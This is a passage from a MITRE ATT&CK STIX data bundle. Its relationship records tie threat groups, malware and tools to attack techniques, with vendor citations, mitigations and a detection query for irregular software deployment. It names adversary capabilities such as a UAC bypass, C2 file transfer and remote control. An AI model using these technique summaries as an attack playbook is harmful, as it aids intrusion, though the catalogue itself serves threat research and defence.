attack. [Sandworm Team](https://attack.mitre.org/groups/G0034) also collected a list of computers using specific software as part of its targeting efforts.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","modified":"2022-04-12T19:12:16.434Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f163bcc-193b-49f4-884d-4246dff23e6c","type":"relationship","created":"2020-02-18T16:48:56.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-18T16:48:56.805Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f18f3f3-7f5b-4e54-b4de-d58202d88a28","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T14:08:56.901Z","description":"Often these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\nPerform application deployment at regular times so that irregular deployment activity stands out.\n\nAnalytic 1 - Look for irregular deployment activity, systems not typically used for deployment suddenly pushing software, abnormal account login activity\n\nsourcetype= aws_system_manager OR sourcetype=azure_arc | search (event_description=\"*deployment*\" OR action=\"*push*\" OR result=\"success\" OR result=\"failure\" OR command=\"run script\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f1c680d-042e-4291-bf9c-85c51120aa8b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Volgmer Nov 2017","description":"US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA – North Korean Trojan: Volgmer. Retrieved December 7, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-318B"},{"source_name":"US-CERT Volgmer 2 Nov 2017","description":"US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"}],"modified":"2020-03-19T21:53:55.320Z","description":"[Volgmer](https://attack.mitre.org/software/S0180) can execute commands on the victim's machine.(Citation: US-CERT Volgmer Nov 2017)(Citation: US-CERT Volgmer 2 Nov 2017)","relationship_type":"uses","source_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f1f9c0a-92c2-4517-bb04-db232421284a","type":"relationship","created":"2022-03-22T18:47:48.437Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T18:47:48.437Z","description":"(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"malware--4d7bf2ac-f953-4907-b114-be44dc174d67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f259569-dfd2-4afa-aa0a-8031864c1367","created":"2024-05-07T19:10:03.754Z","revoked":false,"external_references":[{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-07T19:10:03.754Z","description":"(Citation: Mandiant APT43 March 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9f2ee173-a4b2-45d9-8dfe-537f1fc82ef4","created":"2022-02-08T16:11:38.672Z","x_mitre_version":"1.0","external_references":[{"source_name":"Peirates GitHub","url":"https://github.com/inguardians/peirates","description":"InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Peirates](https://attack.mitre.org/software/S0683) can list AWS S3 buckets.(Citation: Peirates GitHub)","modified":"2022-04-14T20:57:49.430Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--79dd477a-8226-4b3d-ad15-28623675f221","target_ref":"attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f30368d-3656-4ba1-8e53-94d5721f9241","created":"2024-05-17T13:47:17.990Z","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T13:47:17.990Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) implements a variation of the ucmDccwCOMMethod technique abusing the Windows AutoElevate backdoor to bypass UAC while elevating privileges.(Citation: TrendMicro RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f372adb-777a-4635-9310-cbb8f432f08e","type":"relationship","created":"2021-03-15T18:56:36.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Trickbot Oct 2020","url":"https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/","description":"Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."},{"source_name":"Bitdefender Trickbot March 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf","description":"Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021."}],"modified":"2021-03-15T18:56:36.730Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) uses vncDll module to remote control the victim machine.(Citation: ESET Trickbot Oct 2020)(Citation: Bitdefender Trickbot March 2020)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f3ded7a-feef-4180-b89c-baca3c08f96c","created":"2023-08-01T18:23:52.574Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-05T08:17:15.706Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can be utilized to abuse `sslip.io`, a free IP to domain mapping service, as part of actor-controlled C2 channels.(Citation: BitDefender BADHATCH Mar 2021)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f42ded2-e291-4856-91ab-cf5ff8be461a","created":"2023-03-24T17:45:52.679Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-24T17:45:52.679Z","description":"Consider periodic review of common fileless storage locations (such as the Registry or WMI repository) to potentially identify abnormal and malicious data.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f43126d-5f6c-42a9-9908-49175c27ead7","created":"2023-03-30T19:27:26.398Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Industroyer2 ESET April 2022","description":"ESET. (2022, April 12). Industroyer2: Industroyer reloaded. Retrieved March 30, 2023.","url":"https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/"},{"source_name":"mandiant_apt44_unearthing_sandworm","description":"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.","url":"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T19:05:06.892Z","description":"(Citation: Industroyer2 ESET April 2022)(Citation: mandiant_apt44_unearthing_sandworm)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"malware--6a0d0ea9-b2c4-43fe-a552-ac41a3009dc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9f43174e-9fec-447c-b5d9-12b348447853","created":"2022-07-18T15:57:54.375Z","x_mitre_version":"0.1","external_references":[{"source_name":"Korean FSI TA505 2020","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) can transfer files from C2.(Citation: Korean FSI TA505 2020)","modified":"2022-07-18T15:57:54.375Z","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f434edb-a9f5-4306-9868-0914efbb1b8a","created":"2023-05-23T20:27:28.744Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-23T20:27:28.744Z","description":"[QUIETCANARY](https://attack.mitre.org/software/S1076) can execute processes in a hidden window.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--93289ecf-4d15-4d6b-a9c3-4ab27e145ef4","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f44fb67-6ad0-44c3-bc84-8b12b50819a9","created":"2024-02-12T21:24:32.343Z","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T21:24:32.343Z","description":"Some versions of [DarkGate](https://attack.mitre.org/software/S1111) search for the hard-coded folder C:\\Program Files\\e Carte Bleue.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f4718ff-f030-447e-b195-a7bedfe2e64f","created":"2024-07-01T17:51:23.047Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T17:51:23.047Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can use WMI queries for discovery on the victim host.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f496c45-eac5-464f-858b-ef481f2f37ff","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 2","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"},{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}],"modified":"2020-03-16T15:53:20.513Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can enumerate registry keys.(Citation: ESET Sednit Part 2)(Citation: Bitdefender APT28 Dec 2015)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f5398d3-f9fe-4abc-bf10-1112f106b3d5","type":"relationship","created":"2022-03-24T20:26:35.568Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T20:26:35.568Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can transfer files from an infected host to the C2 server.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f5593f4-2cd8-4e98-81ff-8afb615d88ef","created":"2023-08-14T14:38:27.251Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Gigamon BADHATCH Jul 2019","description":"Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.","url":"https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:36:33.463Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) has the ability to delete PowerShell scripts from a compromised machine.(Citation: Gigamon BADHATCH Jul 2019)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f57a541-c6d1-490f-bd15-1dee6280365b","type":"relationship","created":"2021-10-01T17:50:33.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 KerrDown February 2019","url":"https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/","description":"Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus’ new Downloader, KerrDown. Retrieved October 1, 2021."}],"modified":"2021-10-01T17:50:33.661Z","description":"[Kerrdown](https://attack.mitre.org/software/S0585) can download specific payloads to a compromised host based on OS architecture.(Citation: Unit 42 KerrDown February 2019)","relationship_type":"uses","source_ref":"malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f5c68fe-a32e-405d-ae58-0965f04855cb","type":"relationship","created":"2020-03-20T19:20:27.670Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://windowsitpro.com/systems-management/psexec","description":"Russinovich, M. (2004, June 28). PsExec. Retrieved December 17, 2015.","source_name":"PsExec Russinovich"}],"modified":"2020-03-20T19:20:27.670Z","description":"[PsExec](https://attack.mitre.org/software/S0029) can be used to download or upload a file over a network share.(Citation: PsExec Russinovich)","relationship_type":"uses","source_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9f5f1262-17a7-443e-a531-c9048a91ac8d","created":"2022-05-26T14:40:38.986Z","x_mitre_version":"0.1","external_references":[{"source_name":"DFIR Report APT35 ProxyShell March 2022","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: DFIR Report APT35 ProxyShell March 2022)","modified":"2022-05-26T14:40:38.986Z","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"tool--5a63f900-5e7e-4928-a746-dd4558e1df71","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f618c0f-79b8-4990-a02b-6e3187b14033","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","source_name":"Symantec Sowbug Nov 2017"}],"modified":"2020-03-20T02:38:39.991Z","description":"[Sowbug](https://attack.mitre.org/groups/G0054) has used command line during its intrusions.(Citation: Symantec Sowbug Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f62c4e4-02d4-497b-8039-cc4e816386a5","type":"relationship","created":"2017-05-31T21:33:27.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Novetta Blockbuster Loaders","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"}],"modified":"2019-12-20T14:28:39.536Z","description":"(Citation: Novetta Blockbuster Loaders)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"tool--5a63f900-5e7e-4928-a746-dd4558e1df71","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f631f84-8bc5-4312-8325-7f97ab55d742","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T15:45:53.913Z","description":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f653750-2ee6-4d00-906b-c71f1d217288","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Felismus Mar 2017","description":"Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.","url":"https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"}],"modified":"2020-03-17T01:16:15.864Z","description":"[Felismus](https://attack.mitre.org/software/S0171) collects the system information, including hostname and OS version, and sends it to the C2 server.(Citation: Forcepoint Felismus Mar 2017)","relationship_type":"uses","source_ref":"malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f6939de-be8d-45cc-8c2d-6a3c6972c2d2","created":"2023-03-17T14:01:57.520Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-21T19:26:28.515Z","description":"(Citation: ClearSky Lazarus Aug 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9f6ba73c-5cb7-44c7-8433-ab6fc8c8baca","created":"2024-07-12T19:51:35.861Z","revoked":false,"external_references":[{"source_name":"FRP GitHub","description":"fatedier. (n.d.). What is frp?. Retrieved July 10, 2024.","url":"https://github.com/fatedier/frp"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-12T19:51:35.861Z","description":"The [FRP](https://attack.mitre.org/software/S1144) client can be configured to connect to the server through a proxy.(Citation: FRP 